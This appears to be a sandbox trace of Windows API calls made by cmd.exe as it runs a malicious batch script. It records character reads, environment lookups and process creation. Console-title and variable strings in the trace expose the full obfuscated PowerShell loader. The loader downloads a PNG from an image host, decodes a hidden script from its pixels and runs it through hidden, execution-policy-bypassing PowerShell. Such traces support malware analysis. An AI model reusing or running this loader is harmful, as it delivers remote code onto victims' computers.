MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee4f6, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0103.884] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.884] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.884] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.884] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee4f8, cchWideChar=1 | out: lpWideCharStr="(") returned 1 [0103.884] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.884] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.884] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.884] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee4fa, cchWideChar=1 | out: lpWideCharStr="9") returned 1 [0103.884] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.884] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.884] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.884] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee4fc, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0103.884] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.884] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.884] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.884] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee4fe, cchWideChar=1 | out: lpWideCharStr="'") returned 1 [0103.884] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.884] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.885] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.885] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee500, cchWideChar=1 | out: lpWideCharStr="+") returned 1 [0103.885] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.885] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.885] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.885] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee502, cchWideChar=1 | out: lpWideCharStr="'") returned 1 [0103.885] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.885] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.885] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.885] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee504, cchWideChar=1 | out: lpWideCharStr="x") returned 1 [0103.885] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.885] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.885] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.885] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee506, cchWideChar=1 | out: lpWideCharStr="'") returned 1 [0103.885] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.885] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.885] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.885] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee508, cchWideChar=1 | out: lpWideCharStr="+") returned 1 [0103.885] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.885] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.885] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.885] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee50a, cchWideChar=1 | out: lpWideCharStr="'") returned 1 [0103.885] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.885] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.886] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.886] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee50c, cchWideChar=1 | out: lpWideCharStr="h") returned 1 [0103.886] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.886] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.886] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.886] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee50e, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0103.886] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.886] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.886] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.886] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee510, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0103.887] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0103.887] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x32f858 | out: lpMode=0x32f858) returned 1 [0103.887] _get_osfhandle (_FileHandle=1) returned 0x7 [0103.887] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4a0e3362*, nNumberOfCharsToWrite=0x447, lpNumberOfCharsWritten=0x32f898, lpReserved=0x0 | out: lpBuffer=0x4a0e3362*, lpNumberOfCharsWritten=0x32f898*=0x447) returned 1 [0103.888] GetEnvironmentVariableW (in: lpName="{foreach('+'v'+'6'+'Qx in(0..4'+'27'+')){v6Q'+'t'+'t=v6Qds.Ge'+'tPixel(v6Qx,'+'v'+'6Q_'+');v6Qmk'+'[v6Q'+'_*428+v6Qx]=([math]", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0103.888] _wcsicmp (_String1="{foreach('+'v'+'6'+'Qx in(0..4'+'27'+')){v6Q'+'t'+'t=v6Qds.Ge'+'tPixel(v6Qx,'+'v'+'6Q_'+');v6Qmk'+'[v6Q'+'_*428+v6Qx]=([math]", _String2="CD") returned 24 [0103.888] _wcsicmp (_String1="{foreach('+'v'+'6'+'Qx in(0..4'+'27'+')){v6Q'+'t'+'t=v6Qds.Ge'+'tPixel(v6Qx,'+'v'+'6Q_'+');v6Qmk'+'[v6Q'+'_*428+v6Qx]=([math]", _String2="ERRORLEVEL") returned 22 [0103.888] _wcsicmp (_String1="{foreach('+'v'+'6'+'Qx in(0..4'+'27'+')){v6Q'+'t'+'t=v6Qds.Ge'+'tPixel(v6Qx,'+'v'+'6Q_'+');v6Qmk'+'[v6Q'+'_*428+v6Qx]=([math]", _String2="CMDEXTVERSION") returned 24 [0103.888] _wcsicmp (_String1="{foreach('+'v'+'6'+'Qx in(0..4'+'27'+')){v6Q'+'t'+'t=v6Qds.Ge'+'tPixel(v6Qx,'+'v'+'6Q_'+');v6Qmk'+'[v6Q'+'_*428+v6Qx]=([math]", _String2="CMDCMDLINE") returned 24 [0103.888] _wcsicmp (_String1="{foreach('+'v'+'6'+'Qx in(0..4'+'27'+')){v6Q'+'t'+'t=v6Qds.Ge'+'tPixel(v6Qx,'+'v'+'6Q_'+');v6Qmk'+'[v6Q'+'_*428+v6Qx]=([math]", _String2="DATE") returned 23 [0103.888] _wcsicmp (_String1="{foreach('+'v'+'6'+'Qx in(0..4'+'27'+')){v6Q'+'t'+'t=v6Qds.Ge'+'tPixel(v6Qx,'+'v'+'6Q_'+');v6Qmk'+'[v6Q'+'_*428+v6Qx]=([math]", _String2="TIME") returned 7 [0103.888] _wcsicmp (_String1="{foreach('+'v'+'6'+'Qx in(0..4'+'27'+')){v6Q'+'t'+'t=v6Qds.Ge'+'tPixel(v6Qx,'+'v'+'6Q_'+');v6Qmk'+'[v6Q'+'_*428+v6Qx]=([math]", _String2="RANDOM") returned 9 [0103.888] _wcsicmp (_String1="{foreach('+'v'+'6'+'Qx in(0..4'+'27'+')){v6Q'+'t'+'t=v6Qds.Ge'+'tPixel(v6Qx,'+'v'+'6Q_'+');v6Qmk'+'[v6Q'+'_*428+v6Qx]=([math]", _String2="HIGHESTNUMANODENUMBER") returned 19 [0103.889] GetEnvironmentVariableW (in: lpName="adizY", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0103.889] _wcsicmp (_String1="adizY", _String2="CD") returned -2 [0103.889] _wcsicmp (_String1="adizY", _String2="ERRORLEVEL") returned -4 [0103.889] _wcsicmp (_String1="adizY", _String2="CMDEXTVERSION") returned -2 [0103.889] _wcsicmp (_String1="adizY", _String2="CMDCMDLINE") returned -2 [0103.889] _wcsicmp (_String1="adizY", _String2="DATE") returned -3 [0103.889] _wcsicmp (_String1="adizY", _String2="TIME") returned -19 [0103.889] _wcsicmp (_String1="adizY", _String2="RANDOM") returned -17 [0103.889] _wcsicmp (_String1="adizY", _String2="HIGHESTNUMANODENUMBER") returned -7 [0103.890] _wcsicmp (_String1="set", _String2=")") returned 74 [0103.890] _wcsicmp (_String1="FOR", _String2="set") returned -13 [0103.890] _wcsicmp (_String1="FOR/?", _String2="set") returned -13 [0103.890] _wcsicmp (_String1="IF", _String2="set") returned -10 [0103.890] _wcsicmp (_String1="IF/?", _String2="set") returned -10 [0103.890] _wcsicmp (_String1="REM", _String2="set") returned -1 [0103.890] _wcsicmp (_String1="REM/?", _String2="set") returned -1 [0103.894] GetConsoleOutputCP () returned 0x1b5 [0103.895] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a0ebfe0 | out: lpCPInfo=0x4a0ebfe0) returned 1 [0103.895] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0103.895] GetConsoleTitleW (in: lpConsoleTitle=0x32f790, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\CMD.Exe") returned 0x1b [0103.895] _wcsicmp (_String1="set", _String2="DIR") returned 15 [0103.895] _wcsicmp (_String1="set", _String2="ERASE") returned 14 [0103.895] _wcsicmp (_String1="set", _String2="DEL") returned 15 [0103.895] _wcsicmp (_String1="set", _String2="TYPE") returned -1 [0103.895] _wcsicmp (_String1="set", _String2="COPY") returned 16 [0103.895] _wcsicmp (_String1="set", _String2="CD") returned 16 [0103.895] _wcsicmp (_String1="set", _String2="CHDIR") returned 16 [0103.895] _wcsicmp (_String1="set", _String2="RENAME") returned 1 [0103.895] _wcsicmp (_String1="set", _String2="REN") returned 1 [0103.895] _wcsicmp (_String1="set", _String2="ECHO") returned 14 [0103.895] _wcsicmp (_String1="set", _String2="SET") returned 0 [0103.902] wcsncmp (_String1="suLr", _String2="/", _MaxCount=0x4) returned 68 [0103.903] SetConsoleTitleW (lpConsoleTitle="C:\\Windows\\system32\\CMD.Exe - set suLrv=. ( $sHelLId[1]+$shELlId[13]+'X') (('s'+'al f'+'r'+' N'+'ew-Objec'+'t'+';'+'A'+'dd-T'+'ype -As'+'sembly'+'Name 9axSystem.Dra'+'w'+'ing9ax;'+'v6Qds'+'=fr Syste'+'m.'+'Drawin'+'g.B'+'itmap((fr Net.W'+'ebC'+'lient).'+'OpenRead(9a'+'x'+'https://imag'+'es2.imgbo'+'x.co'+'m/90/f1/'+'gat2MVsK_o.'+'png9ax'+'));'+'v6Q'+'mk=fr By'+'t'+'e[] '+'2140;(0.'+'.4)b'+'S'+'j%{foreach('+'v'+'6'+'Qx in(0..4'+'27'+')){v6Q'+'t'+'t=v6Qds.Ge'+'tPixel(v6Qx,'+'v'+'6Q_'+');v6Qmk'+'[v6Q'+'_*428+v6Qx]=([math]::F'+'lo'+'or((v6'+'Qtt.B-band15)*16)-bor'+'(v6Qt'+'t.G -band 15))}'+'};'+'I'+'EX('+'[Syst'+'em.Tex'+'t.E'+'ncodin'+'g'+']::ASCII.'+'GetS'+'tring(v6'+'Q'+'mk[0.'+'.'+'1'+'907'+'])'+')').ReplaCE('9ax',[sTRInG][ChAr]34).ReplaCE(([ChAr]98+[ChAr]83+[ChAr]106),[sTRInG][ChAr]124).ReplaCE(([ChAr]118+[ChAr]54+[ChAr]81),[sTRInG][ChAr]36))") returned 1 [0103.903] _wcsnicmp (_String1="su", _String2="/A", _MaxCount=0x2) returned 68 [0103.903] _wcsnicmp (_String1="su", _String2="/P", _MaxCount=0x2) returned 68 [0103.995] SetConsoleTitleW (lpConsoleTitle="C:\\Windows\\system32\\CMD.Exe") returned 1 [0103.996] GetConsoleTitleW (in: lpConsoleTitle=0x32f6d0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\CMD.Exe") returned 0x1b [0103.996] wcsncmp (_String1="aDIz", _String2="/", _MaxCount=0x4) returned 50 [0103.996] SetConsoleTitleW (lpConsoleTitle="seT aDIzy=EchO (gi vaRIAble:e*Xt).VaLuE.InvOkEComManD.INVOkesCRiPT((LS eNV:sULrV).vaLUe ) |POwERsHElL -noNiNTEraCTI -NolO -wiN hIdden -execuTIONpOLIc byPASS -nOPrOFIle -COmMANd ^&( $eNV:ComsPec[4,24,25]-JoIn'')($inpuT ) ") returned 1 [0103.997] _wcsnicmp (_String1="aD", _String2="/A", _MaxCount=0x2) returned 50 [0103.997] _wcsnicmp (_String1="aD", _String2="/P", _MaxCount=0x2) returned 50 [0103.999] SetConsoleTitleW (lpConsoleTitle="C:\\Windows\\system32\\CMD.Exe") returned 1 [0104.000] GetConsoleTitleW (in: lpConsoleTitle=0x32f6d0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\CMD.Exe") returned 0x1b [0104.000] GetFileAttributesW (lpFileName="cmd.exE" (normalized: "c:\\users\\aetadzjz\\desktop\\cmd.exe")) returned 0xffffffff [0104.000] _wcsicmp (_String1="cmd", _String2="DIR") returned -1 [0104.000] _wcsicmp (_String1="cmd", _String2="ERASE") returned -2 [0104.000] _wcsicmp (_String1="cmd", _String2="DEL") returned -1 [0104.000] _wcsicmp (_String1="cmd", _String2="TYPE") returned -17 [0104.000] _wcsicmp (_String1="cmd", _String2="COPY") returned -2 [0104.000] _wcsicmp (_String1="cmd", _String2="CD") returned 9 [0104.000] _wcsicmp (_String1="cmd", _String2="CHDIR") returned 5 [0104.000] _wcsicmp (_String1="cmd", _String2="RENAME") returned -15 [0104.000] _wcsicmp (_String1="cmd", _String2="REN") returned -15 [0104.000] _wcsicmp (_String1="cmd", _String2="ECHO") returned -2 [0104.000] _wcsicmp (_String1="cmd", _String2="SET") returned -16 [0104.000] _wcsicmp (_String1="cmd", _String2="PAUSE") returned -13 [0104.000] _wcsicmp (_String1="cmd", _String2="DATE") returned -1 [0104.000] _wcsicmp (_String1="cmd", _String2="TIME") returned -17 [0104.001] _wcsicmp (_String1="cmd", _String2="PROMPT") returned -13 [0104.001] _wcsicmp (_String1="cmd", _String2="MD") returned -10 [0104.001] _wcsicmp (_String1="cmd", _String2="MKDIR") returned -10 [0104.001] _wcsicmp (_String1="cmd", _String2="RD") returned -15 [0104.001] _wcsicmp (_String1="cmd", _String2="RMDIR") returned -15 [0104.001] _wcsicmp (_String1="cmd", _String2="PATH") returned -13 [0104.001] _wcsicmp (_String1="cmd", _String2="GOTO") returned -4 [0104.001] _wcsicmp (_String1="cmd", _String2="SHIFT") returned -16 [0104.001] _wcsicmp (_String1="cmd", _String2="CLS") returned 1 [0104.001] _wcsicmp (_String1="cmd", _String2="CALL") returned 12 [0104.001] _wcsicmp (_String1="cmd", _String2="VERIFY") returned -19 [0104.001] _wcsicmp (_String1="cmd", _String2="VER") returned -19 [0104.001] _wcsicmp (_String1="cmd", _String2="VOL") returned -19 [0104.001] _wcsicmp (_String1="cmd", _String2="EXIT") returned -2 [0104.001] _wcsicmp (_String1="cmd", _String2="SETLOCAL") returned -16 [0104.001] _wcsicmp (_String1="cmd", _String2="ENDLOCAL") returned -2 [0104.001] _wcsicmp (_String1="cmd", _String2="TITLE") returned -17 [0104.001] _wcsicmp (_String1="cmd", _String2="START") returned -16 [0104.001] _wcsicmp (_String1="cmd", _String2="DPATH") returned -1 [0104.001] _wcsicmp (_String1="cmd", _String2="KEYS") returned -8 [0104.001] _wcsicmp (_String1="cmd", _String2="MOVE") returned -10 [0104.001] _wcsicmp (_String1="cmd", _String2="PUSHD") returned -13 [0104.001] _wcsicmp (_String1="cmd", _String2="POPD") returned -13 [0104.001] _wcsicmp (_String1="cmd", _String2="ASSOC") returned 2 [0104.001] _wcsicmp (_String1="cmd", _String2="FTYPE") returned -3 [0104.001] _wcsicmp (_String1="cmd", _String2="BREAK") returned 1 [0104.001] _wcsicmp (_String1="cmd", _String2="COLOR") returned -2 [0104.001] _wcsicmp (_String1="cmd", _String2="MKLINK") returned -10 [0104.001] _wcsicmp (_String1="cmd", _String2="DIR") returned -1 [0104.001] _wcsicmp (_String1="cmd", _String2="ERASE") returned -2 [0104.001] _wcsicmp (_String1="cmd", _String2="DEL") returned -1 [0104.001] _wcsicmp (_String1="cmd", _String2="TYPE") returned -17 [0104.002] _wcsicmp (_String1="cmd", _String2="COPY") returned -2 [0104.002] _wcsicmp (_String1="cmd", _String2="CD") returned 9 [0104.002] _wcsicmp (_String1="cmd", _String2="CHDIR") returned 5 [0104.002] _wcsicmp (_String1="cmd", _String2="RENAME") returned -15 [0104.002] _wcsicmp (_String1="cmd", _String2="REN") returned -15 [0104.002] _wcsicmp (_String1="cmd", _String2="ECHO") returned -2 [0104.002] _wcsicmp (_String1="cmd", _String2="SET") returned -16 [0104.002] _wcsicmp (_String1="cmd", _String2="PAUSE") returned -13 [0104.002] _wcsicmp (_String1="cmd", _String2="DATE") returned -1 [0104.002] _wcsicmp (_String1="cmd", _String2="TIME") returned -17 [0104.002] _wcsicmp (_String1="cmd", _String2="PROMPT") returned -13 [0104.002] _wcsicmp (_String1="cmd", _String2="MD") returned -10 [0104.002] _wcsicmp (_String1="cmd", _String2="MKDIR") returned -10 [0104.002] _wcsicmp (_String1="cmd", _String2="RD") returned -15 [0104.002] _wcsicmp (_String1="cmd", _String2="RMDIR") returned -15 [0104.002] _wcsicmp (_String1="cmd", _String2="PATH") returned -13 [0104.002] _wcsicmp (_String1="cmd", _String2="GOTO") returned -4 [0104.002] _wcsicmp (_String1="cmd", _String2="SHIFT") returned -16 [0104.002] _wcsicmp (_String1="cmd", _String2="CLS") returned 1 [0104.002] _wcsicmp (_String1="cmd", _String2="CALL") returned 12 [0104.002] _wcsicmp (_String1="cmd", _String2="VERIFY") returned -19 [0104.002] _wcsicmp (_String1="cmd", _String2="VER") returned -19 [0104.002] _wcsicmp (_String1="cmd", _String2="VOL") returned -19 [0104.002] _wcsicmp (_String1="cmd", _String2="EXIT") returned -2 [0104.002] _wcsicmp (_String1="cmd", _String2="SETLOCAL") returned -16 [0104.002] _wcsicmp (_String1="cmd", _String2="ENDLOCAL") returned -2 [0104.002] _wcsicmp (_String1="cmd", _String2="TITLE") returned -17 [0104.002] _wcsicmp (_String1="cmd", _String2="START") returned -16 [0104.002] _wcsicmp (_String1="cmd", _String2="DPATH") returned -1 [0104.002] _wcsicmp (_String1="cmd", _String2="KEYS") returned -8 [0104.002] _wcsicmp (_String1="cmd", _String2="MOVE") returned -10 [0104.003] _wcsicmp (_String1="cmd", _String2="PUSHD") returned -13 [0104.003] _wcsicmp (_String1="cmd", _String2="POPD") returned -13 [0104.003] _wcsicmp (_String1="cmd", _String2="ASSOC") returned 2 [0104.003] _wcsicmp (_String1="cmd", _String2="FTYPE") returned -3 [0104.003] _wcsicmp (_String1="cmd", _String2="BREAK") returned 1 [0104.003] _wcsicmp (_String1="cmd", _String2="COLOR") returned -2 [0104.003] _wcsicmp (_String1="cmd", _String2="MKLINK") returned -10 [0104.003] _wcsicmp (_String1="cmd", _String2="FOR") returned -3 [0104.003] _wcsicmp (_String1="cmd", _String2="IF") returned -6 [0104.003] _wcsicmp (_String1="cmd", _String2="REM") returned -15 [0104.003] SetErrorMode (uMode=0x0) returned 0x8001 [0104.003] SetErrorMode (uMode=0x1) returned 0x0 [0104.003] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x20a3470, lpFilePart=0x32ef60 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop", lpFilePart=0x32ef60*="Desktop") returned 0x19 [0104.003] SetErrorMode (uMode=0x8001) returned 0x1 [0104.003] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\;C:\\Program Files\\Microsoft Office\\root\\Client") returned 0x91 [0104.003] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0104.004] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0104.005] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0104.005] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0104.005] FindClose (in: hFindFile=0x4abcc0 | out: hFindFile=0x4abcc0) returned 1 [0104.005] _wcsicmp (_String1=".exe", _String2=".CMD") returned 2 [0104.005] _wcsicmp (_String1=".exe", _String2=".BAT") returned 3 [0104.005] GetConsoleTitleW (in: lpConsoleTitle=0x32f220, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\CMD.Exe") returned 0x1b [0104.005] GetConsoleTitleW (in: lpConsoleTitle=0x20a3870, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\CMD.Exe") returned 0x1b [0104.006] SetConsoleTitleW (lpConsoleTitle="cmd.exE /c %adizY% ") returned 1 [0104.006] InitializeProcThreadAttributeList (in: lpAttributeList=0x32efd8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x32ef98 | out: lpAttributeList=0x32efd8, lpSize=0x32ef98) returned 1 [0104.006] UpdateProcThreadAttribute (in: lpAttributeList=0x32efd8, dwFlags=0x0, Attribute=0x60001, lpValue=0x32ef88, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x32efd8, lpPreviousValue=0x0) returned 1 [0104.006] GetStartupInfoW (in: lpStartupInfo=0x32f0f0 | out: lpStartupInfo=0x32f0f0*(cb=0x68, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="cmd ; ", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x3d, hStdOutput=0x20a3870, hStdError=0x20a3870)) [0104.007] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine="cmd.exE /c %adizY% ", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\aETAdzjz\\Desktop", lpStartupInfo=0x32f010*(cb=0x70, lpReserved=0x0, lpDesktop="Winsta0\\Default", lpTitle="cmd.exE /c %adizY% ", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x32efc0 | out: lpCommandLine="cmd.exE /c %adizY% ", lpProcessInformation=0x32efc0*(hProcess=0x54, hThread=0x50, dwProcessId=0xb4c, dwThreadId=0xb50)) returned 1 [0104.013] CloseHandle (hObject=0x50) returned 1 [0104.013] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0104.013] GetEnvironmentStringsW () returned 0x206dc00* [0104.014] FreeEnvironmentStringsW (penv=0x206dc00) returned 1 [0104.014] LoadLibraryW (lpLibFileName="NTDLL.DLL") returned 0x77c40000 [0104.014] GetProcAddress (hModule=0x77c40000, lpProcName="NtQueryInformationProcess") returned 0x77c914a0 [0104.014] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x32e8c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x32e8c8, ReturnLength=0x0) returned 0x0 